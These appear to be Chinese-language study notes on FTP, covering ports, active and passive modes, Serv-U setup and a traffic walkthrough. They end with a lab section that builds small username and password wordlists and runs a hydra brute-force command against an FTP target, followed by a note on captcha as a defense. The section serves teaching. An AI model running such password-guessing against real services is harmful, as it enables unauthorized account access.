概述
-
File Transfer Protocol文件传输协议,工作在应用层,制定了文件传输的标准。
-
文件共享与FTP区别:
- 文件共享只能在内网访问,而FTP可以进行外网访问;
- 文件共享文件传输效率较高,而FTP相对较低;
-
底层基于TCP协议进行数据传输,使用21和20端口;
-
有两种工作模式:主动服务、被动服务;
-
软件架构:
-
C/S
- client/server 客户端/服务器架构,客户端需要安装特定的程序,才能使用软件功能;比如:QQ、微信、LOL等
-
B/S
- browser/server 浏览器/服务器架构,客户端不需要安装特定程序,所有软件程序都存放在服务器中;比如:京东、淘宝等网站;
-
环境搭建
FTP服务器
Windows Server:FTP
Serv-U
- 安装Serv-U
新建域
自定义域名
开启文件传输
确定IPv4地址
新建账户
确定账户名称
确定密码
确定用户目录
权限确定
FTP客户端
文件资源管理器
ftp:\目标服务器主机IP
ftp:\192.168.126.149
浏览器
http:\目标服务器主机IP
https:\目标服务器主机IP
http:\192.168.126.149
https:\192.168.126.149
工作模式
- 会建立两条TCP连接,一条用于传输要执行的命令,一条用于传输文件数据。
分类
主动模式(PORT)
- 客户端向服务器的21号端口进行三次握手,建立控制命令传输连接,并向服务器发送
PORT控制命令,服务器收到PORT命令后,采用主动模式,主动开启20号端口,主动向客户端发起TCP三次握手,建立文件数据传输连接;
被动模式(PASV)
- 客户端向服务器的21号端口进行三次握手,建立控制命令传输连接,并向服务器发送
PASV控制命令,服务器收到PASV命令后,采用被动模式,主动开启一个随机较大的端口(1024~65534),等待客户端主动向服务器发起TCP三次握手,建立文件数据传输连接;
分析流量
被动模式PASV
- 客户端向服务器发起控制命令连接建立的三次握手
- 客户端向服务器通过控制命令连接发送控制命令,其中包括
PASV控制命令
- 服务器收到
PASV命令后,切换为被动模式,随机开启较大端口,等待客户端向该端口发起三次握手,建立文件传输连接;
主动模式PORT
- 客户端向服务器21号端口建立控制命令连接
- 客户端向服务器发送
PASV命令,尝试进行被动模式,但服务器响应未实现该命令(PASV被禁用)
- 客户端向服务器发送
PORT命令,尝试进行主动模式,服务器响应成功
- 服务器开启20号端口,向客户端主动发起三次握手建立文件数据传输连接
- 服务器通过20端口进行文件数据传输
暴力破解
-
使用穷举方式,
猜测可能的账户和密码值,使用猜测的账户和密码值,尝试进行登录,根据登录响应数据结果判定登录结果,如果登录失败,则换另一组账户和密码值,继续尝试登录,直到登录成功为止;主机
- 靶机:winServer(安装了FTP服务器软件的主机)
- 攻击主机:kali
步骤
-
创建账户字典
echo admin >> /acc.listecho admin1 >> /acc.listecho zhangsan >> /acc.listecho lisi >> /acc.listecho wangwu >> /acc.list
-
创建密码字典
echo admin >> /pw.listecho 123456 >> /pw.listecho admin123 >> /pw.listecho qwert >> /pw.listecho p-0p-0p-0 >> /pw.listecho p-0p-0 >> /pw.list
-
执行命令实现暴力破解
hydra -L 账户字典文件路径 -P 密码字典文件路径 目标主机访问路径hydra -L /acc.list -P /pw.list ftp://192.168.126.149/
暴露破解防御方式
-
在登录和注册时使用验证码机制
- 图形化验证码
- 手机验证码